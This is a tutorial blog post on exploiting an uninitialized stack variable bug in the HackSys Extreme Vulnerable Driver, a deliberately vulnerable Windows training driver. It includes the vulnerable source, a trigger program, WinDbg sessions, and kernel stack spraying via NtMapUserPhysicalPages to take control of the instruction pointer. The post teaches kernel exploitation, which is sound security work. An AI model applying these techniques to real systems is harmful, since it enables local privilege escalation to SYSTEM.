INTRODUCTION

We are going to discuss about use of Uninitialized Stack Variable vulnerability. This post will brief you about what is an uninitialized variable, what could be the adverse effect of uninitialized variable vulnerability in your code.

We will discuss this by taking example of an Uninitialized Stack Variable vulnerability implemented in HackSys Extreme Vulnerable Driver. We will understand what the problem in the code is, how we can trigger it, and finally, how we can exploit it in Kernel mode to get SYSTEM privilege.

UNINITIALIZED VARIABLE

Wikipedia: In computing, an uninitialized variable is a variable that is declared but is not set to a definite known value before it is used. It will have some value, but not a predictable one. As such, it is a programming error and a common source of bugs in software.

THE VULNERABILITY

Let’s look into the source code of the driver and understand where the vulnerability is.

UninitializedStackVariable.h

typedef struct _UNINITIALIZED_STACK_VARIABLE { ULONG Value ; FunctionPointer Callback ; ULONG Buffer [ 58 ] ; } UNINITIALIZED_STACK_VARIABLE , * PUNINITIALIZED_STACK_VARIABLE ;

UninitializedStackVariable.c

NTSTATUS TriggerUninitializedStackVariable ( IN PVOID UserBuffer ) { ULONG UserValue = 0 ; ULONG MagicValue = 0xBAD0B0B0 ; NTSTATUS Status = STATUS_SUCCESS ; UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable ; PAGED_CODE ( ) ; __try { // Verify if the buffer resides in user mode ProbeForRead ( UserBuffer , sizeof ( UNINITIALIZED_STACK_VARIABLE ) , ( ULONG ) __alignof ( UNINITIALIZED_STACK_VARIABLE ) ) ; // Get the value from user mode UserValue = * ( PULONG ) UserBuffer ; // Validate the magic value if ( UserValue = = MagicValue ) { UninitializedStackVariable . Value = UserValue ; UninitializedStackVariable . Callback = & UninitializedStackVariableObjectCallback ; } // Call the callback function if ( UninitializedStackVariable . Callback ) { UninitializedStackVariable . Callback ( ) ; } } __except ( EXCEPTION_EXECUTE_HANDLER ) { Status = GetExceptionCode ( ) ; } return Status ; }

You can see in the code that UninitializedStackVariable is declared but not initialized with a concrete value. But that’s not the issue, the issue arises when the code tries to call a call-backUninitializedStackVariable.Callback(), neglecting the fact that UserValue == MagicValue comparison may fail.

The call graph looks very simple and we can see the call made to an Uninitialized Variable.

As UninitializedStackVariable is uninitialized and is a local variable, obviously it’s on the Kernel Stack and it will contain the data placed by the functions which were called previously.

Just to be clear, the exploitability of vulnerabilities like Uninitialized Stack Variable completely depend on the implementation and how the uninitialized variable is used throughout the application.

In the UNINITIALIZED_STACK_VARIABLE structure definition, you can see that Callback is defined as FunctionPointer. This is of great value, in terms of exploitation.

If we can control the data on the Kernel stack, we can control UninitializedStackVariable and naturally control Callback.

EXPLOITATION CHALLENGES

Find a way to trigger the use of Uninitialized Stack Variable vulnerability in HackSys Extreme Vulnerable Driver

Control Kernel Stack layout/data from User Mode

Prevent the user controlled data on the Kernel stack from getting clobbered

VULNERABILITY TRIGGER

From the evaluation of the source code, we know that if the UserValue == MagicValue comparison fails, then the use of Unitialized Stack Variable vulnerability is triggered.

DWORD WINAPI UninitializedStackVariableThread ( LPVOID Parameter ) { ULONG BytesReturned ; HANDLE hFile = NULL ; ULONG MagicValue = 0xBAADF00D ; LPCSTR FileName = ( LPCSTR ) DEVICE_NAME ; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL ; __try { // Get the device handle hFile = GetDeviceHandle ( FileName ) ; if ( hFile = = INVALID_HANDLE_VALUE ) { exit ( EXIT_FAILURE ) ; } // trigger the vulnerability DeviceIoControl ( hFile , HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE , ( LPVOID ) & MagicValue , 0 , NULL , 0 , & BytesReturned , NULL ) ; } __except ( EXCEPTION_EXECUTE_HANDLER ) { exit ( EXIT_FAILURE ) ; } return EXIT_SUCCESS ; }

As you can see in the driver source code, the vulnerable code is surrounded by try/except block, the target Operating System won’t crash. So, we need to enable Stop On Exception flag usingGFlag.

kd> !gflag +soe New NtGlobalFlag contents: 0x00000001 soe - Stop On Exception

kd> g ## ## ######## ## ## ######## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######### ###### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ######## ### ######## HackSys Extreme Vulnerable Driver Exploits Ashfaq Ansari ( @HackSysTeam ) ashfaq [ at ] payatu [ dot ] com [ + ] Starting Uninitialized Stack Variable Exploitation [ + ] Creating The Exploit Thread [ + ] Exploit Thread Handle: 0x50 ****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ****** [ + ] UserValue: 0xBAADF00D [ + ] UninitializedStackVariable Address: 0x8A6CC9C8 [ + ] UninitializedStackVariable.Value: 0x85A1E940 [ + ] UninitializedStackVariable.Callback: 0x00000400 [ + ] Triggering Uninitialized Stack Variable Vulnerability Access violation - code c0000005 ( first chance ) First chance exceptions are reported before any exception handling. This exception may be expected and handled. 00000400 ?? ??? kd> !analyze -v ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* Unknown bugcheck code ( 0 ) Unknown bugcheck description Arguments: Arg1: 00000000 Arg2: 00000000 Arg3: 00000000 Arg4: 00000000 Debugging Details: ------------------ PROCESS_NAME: HackSysEVDExpl FAULTING_IP: +12a 00000400 ?? ??? EXCEPTION_RECORD: ffffffff -- ( .exr 0xffffffffffffffff ) ExceptionAddress: 00000400 ExceptionCode: c0000005 ( Access violation ) ExceptionFlags: 00000000 NumberParameters: 2 Parameter [ 0 ] : 00000000 Parameter [ 1 ] : 00000400 Attempt to read from address 00000400 ERROR_CODE: ( NTSTATUS ) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx" . The memory could not be "%s" . EXCEPTION_CODE: ( NTSTATUS ) 0xc0000005 - The instruction at "0x%08lx" referenced memory at "0x%08lx" . The memory could not be "%s" . EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00000400 READ_ADDRESS: 00000400 FOLLOWUP_IP: HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a [ c: \h acksysextremevulnerabledriver \d river \s ource \u ninitializedstackvariable.c @ 122 ] 89f80e82 eb21 jmp HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0xbd ( 89f80ea5 ) FAILED_INSTRUCTION_ADDRESS: +1ad2faf00bcdfc0 00000400 ?? ??? BUGCHECK_STR: ACCESS_VIOLATION DEFAULT_BUCKET_ID: INTEL_CPU_MICROCODE_ZERO CURRENT_IRQL: 0 LAST_CONTROL_TRANSFER: from 89f80e82 to 00000400 STACK_TEXT: WARNING: Frame IP not in any known module. Following frames may be wrong. 8a6cc9b0 89f80e82 039a4375 8427c830 8427c8a0 0x400 8a6ccad4 89f80ed6 016cfb7c 8a6ccafc 89f810d2 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [ c: \h acksysextremevulnerabledriver \d river \s ource \u ninitializedstackvariable.c @ 122 ] 8a6ccae0 89f810d2 8427c830 8427c8a0 859f31f0 HackSysExtremeVulnerableDriver!UninitializedStackVariableIoctlHandler+0x1a [ c: \h acksysextremevulnerabledriver \d river \s ource \u ninitializedstackvariable.c @ 151 ] 8a6ccafc 82866047 843a4030 8427c830 8427c830 HackSysExtremeVulnerableDriver!IrpDeviceIoCtlHandler+0x156 [ c: \h acksysextremevulnerabledriver \d river \s ource \h acksysextremevulnerabledriver.c @ 283 ] 8a6ccb14 82a3c9d5 859f31f0 8427c830 8427c8a0 nt!IofCallDriver+0x63 8a6ccb34 82a3edc8 843a4030 859f31f0 00000000 nt!IopSynchronousServiceTail+0x1f8 8a6ccbd0 82a45d9d 843a4030 8427c830 00000000 nt!IopXxxControlFile+0x6aa 8a6ccc04 8286c87a 00000054 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 8a6ccc04 771770b4 00000054 00000000 00000000 nt!KiFastCallEntry+0x12a 016cfb14 7635a671 00000054 0022202f 016cfb7c 0x771770b4 016cfb40 00042faf 00000054 0022202f 016cfb7c 0x7635a671 016cfb98 76363c45 00000000 016cfbe4 771937f5 0x42faf 016cfba4 771937f5 00000000 7643ae30 00000000 0x76363c45 016cfbe4 771937c8 00042f40 00000000 00000000 0x771937f5 016cfbfc 00000000 00042f40 00000000 00000000 0x771937c8 STACK_COMMAND: kb FAULTING_SOURCE_CODE: 118: // Call the callback function 119: if ( UninitializedStackVariable.Callback ) { 120: UninitializedStackVariable.Callback ( ) ; 121: } > 122: } 123: __except ( EXCEPTION_EXECUTE_HANDLER ) { 124: Status = GetExceptionCode ( ) ; 125: DbgPrint ( "[-] Exception Code: 0x%X

" , Status ) ; 126: } 127: SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a FOLLOWUP_NAME: MachineOwner MODULE_NAME: HackSysExtremeVulnerableDriver IMAGE_NAME: HackSysExtremeVulnerableDriver.sys DEBUG_FLR_IMAGE_TIMESTAMP: 575abbc8 FAILURE_BUCKET_ID: ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a BUCKET_ID: ACCESS_VIOLATION_BAD_IP_HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+9a Followup: MachineOwner ---------

As you can see from WinDbg output, UninitializedStackVariable.Callback: 0x00000400 which does not seems to be a valid Callback routine address. This is a clear indication that we successfully triggered the use of Uninitialized Stack Variable vulnerability.

Just to have some more context about the bug, let’s dump the stack and validate if UninitializedStackVariable is on the stack.

kd> dps esp 8a6cc9b4 89f80e82 HackSysExtremeVulnerableDriver!TriggerUninitializedStackVariable+0x9a [ c: \h acksysextremevulnerabledriver \d river \s ource \u ninitializedstackvariable.c @ 122 ] 8a6cc9b8 039a4375 8a6cc9bc 8427c830 8a6cc9c0 8427c8a0 8a6cc9c4 89f81b28 HackSysExtremeVulnerableDriver! ?? ::NNGAKEGL:: ` string ' 8a6cc9c8 85a1e940 <---- UninitializedStackVariable.Value 8a6cc9cc 00000400 <---- UninitializedStackVariable.Callback 8a6cc9d0 00000000 8a6cc9d4 000e8244 8a6cc9d8 000e833c 8a6cc9dc 000e8244 8a6cc9e0 8a6cca04

If we can control what’s placed at 0x8a6cc9cc, we can control the Instruction Pointer.

EXPLOITATION STRATEGY

Find the offset of UninitializedStackVariable.Callback from the Kernel Stack Init

Somehow spray the Kernel Stack with user/attacker controlled data from User Mode

Prevent the offset of UninitializedStackVariable.Callback from getting clobbered

EXPLOITATION

We will perform exploitation in multiple stages.

FINDING OFFSET

Kernel Stack Init can be found using !thread command. Trigger the bug again and run the command in WinDbg.

kd> !thread THREAD 8466d768 Cid 055c.00bc Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0 IRP List: 8427c830: ( 0006,0094 ) Flags: 00060000 Mdl: 00000000 Not impersonating DeviceMap 941095d0 Owning Process 8466d3d8 Image: HackSysEVDExploit.exe Attached Process N/A Image: N/A Wait Start TickCount 100092 Ticks: 0 Context Switch Count 6 UserTime 00:00:00.000 KernelTime 00:00:00.060 Win32 Start Address 0x01242f40 Stack Init 9a4bfed0 Current 9a4bef54 Base 9a4c0000 Limit 9a4bd000 Call 0 Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

So, Kernel Stack Init = 0x9a4bfed0 and &UninitializedStackVariable.Callback = 0x9a4bf9cc.

kd> ?9a4bfed0-9a4bf9cc Evaluate expression: 1284 = 00000504

Hence, Offset = 0x504. You can confirm if the offset remains same by comparing the offset between multiple runs.

Now, if we can put attacker controlled data at an offset of 0x504 from Stack Init, we can hijack the Instruction Pointer.

KERNEL STACK SPRAYING

Now the challenge is to spray the Kernel Stack with attacker controlled data from User Mode.

How can we put user controlled data on Kernel Stack from User Mode?

Well, to achieve this, we need to find an interface which takes data from User Mode and copies it to Kernel Mode Stack and does not clobber it much.

HackSys Extreme Vulnerable Driver already has two such interfaces, named TriggerStackOverflow and TriggerStackOverflowGS.

However, you can find similar interfaces in Windows Operating System too.

One such interface was disclosed by j00ru. His post on nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques gives you a clear idea on how we can utilizent !NtMapUserPhysicalPages to spray Kernel Stack from User Mode.

We can spray upto 1024*sizeof(ULONG_PTR) using this API and this is exactly what we need to exploit this vulnerability.

Let’s update the Proof of Concept to spray the Kernel Stack with 0x41414141 and see if we control the right offset.

DWORD WINAPI UninitializedStackVariableThread ( LPVOID Parameter ) { PULONG StackSprayBuffer = NULL ; NTSTATUS NtStatus = STATUS_UNSUCCESSFUL ; SIZE_T StackSprayBufferSize = 1024 * sizeof ( ULONG_PTR ) ; __try { StackSprayBuffer = ( PULONG ) HeapAlloc ( GetProcessHeap ( ) , HEAP_ZERO_MEMORY, StackSprayBufferSize ) ; if ( !StackSprayBuffer ) { exit ( EXIT_FAILURE ) ; } RtlFillMemory ( StackSprayBuffer, StackSprayBufferSize, 0x41 ) ; ResolveKernelAPIs ( ) ; NtMapUserPhysicalPages ( NULL, 1024, StackSprayBuffer ) ; HeapFree ( GetProcessHeap ( ) , 0, ( LPVOID ) StackSprayBuffer ) ; StackSprayBuffer = NULL ; } __except ( EXCEPTION_EXECUTE_HANDLER ) { exit ( EXIT_FAILURE ) ; } return EXIT_SUCCESS ; }

Let put a break point on the last instruction of NtMapUserPhysicalPages routine and run the PoC.

kd> u !nt+002c6d56 L1 nt!NtMapUserPhysicalPages+0x4e2: 82afdd56 c20c00 ret 0Ch kd> bp !nt+002c6d56

Once the breakpoint is hit, we will get Kernel Stack Init address and find that value at an offset of 0x504.

Breakpoint 0 hit nt!NtMapUserPhysicalPages+0x4e2: 82afdd56 c20c00 ret 0Ch kd> !thread THREAD 8439fd48 Cid 03e0.072c Teb: 7ffde000 Win32Thread: 00000000 RUNNING on processor 0 Not impersonating DeviceMap 941095d0 Owning Process 84419d40 Image: HackSysEVDExploit.exe Attached Process N/A Image: N/A Wait Start TickCount 226817 Ticks: 0 Context Switch Count 52 UserTime 00:00:00.000 KernelTime 00:00:00.090 Win32 Start Address 0x013532c0 Stack Init 80eeded0 Current 80eed9d0 Base 80eee000 Limit 80eeb000 Call 0 Priority 9 BasePriority 8 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5

Now, let’s get the address of the offset we are interested in.

kd> ?80eeded0-0x504 Evaluate expression: -2131830324 = 80eed9cc

Finally, let’s dump the address to see what it holds.

kd> dd 80eed9cc L1 80eed9cc 41414141

Wow! This is so much fun. We now control the value i.e. 0x41414141 at the offset 0x504.

DON’T CLOBBER ME

At this point, we control the data on the Kernel Stack from User Mode. It is essential to prevent it from getting clobbered by other function calls.

To achieve this, we need to prevent any other functions from using the Kernel Stack. Just make sure that you do not perform or call any other function after spraying the Kernel Stack and triggering the vulnerability.

Even simple printf statement may clobber the Kernel Stack and exploitation will fail.

FINAL EXPLOIT

During Black Hat Asia 2016 – Arsenal, I had kept a challenge to write the exploit for this particular vulnerability (Uninitialized Stack Variable).

HackSys Extreme Vulnerable Driver Challenge: Write exploit for Uninitialized Variable bug https://t.co/WCuanrBDih pic.twitter.com/C9IzZXLqdQ — HackSys Team (@HackSysTeam) March 29, 2016

After two months, I decided to push the exploit to HackSys Extreme Vulnerable Driver repository on Github as I did not receive any submission.

CLOSING THOUGHTS

I hope you all liked the post and if you all have any suggestions or feedback, please feel free to reach out to me. I’ll be happy to implement them.

This week is full of Black Hat and DefCon fever and on this occasion, I’m hosting another challenge to write the exploit for use of Uninitialized Heap Variable. Please feel free to reach out to me in case you need any help to write the exploit.

HackSys Extreme Vulnerable Driver Challenge: Exploit Uninitialized Heap Variable bug.https://t.co/nWSoVQefMO pic.twitter.com/wW4Jf7mq3Z — HackSys Team (@HackSysTeam) August 4, 2016

REFERENCES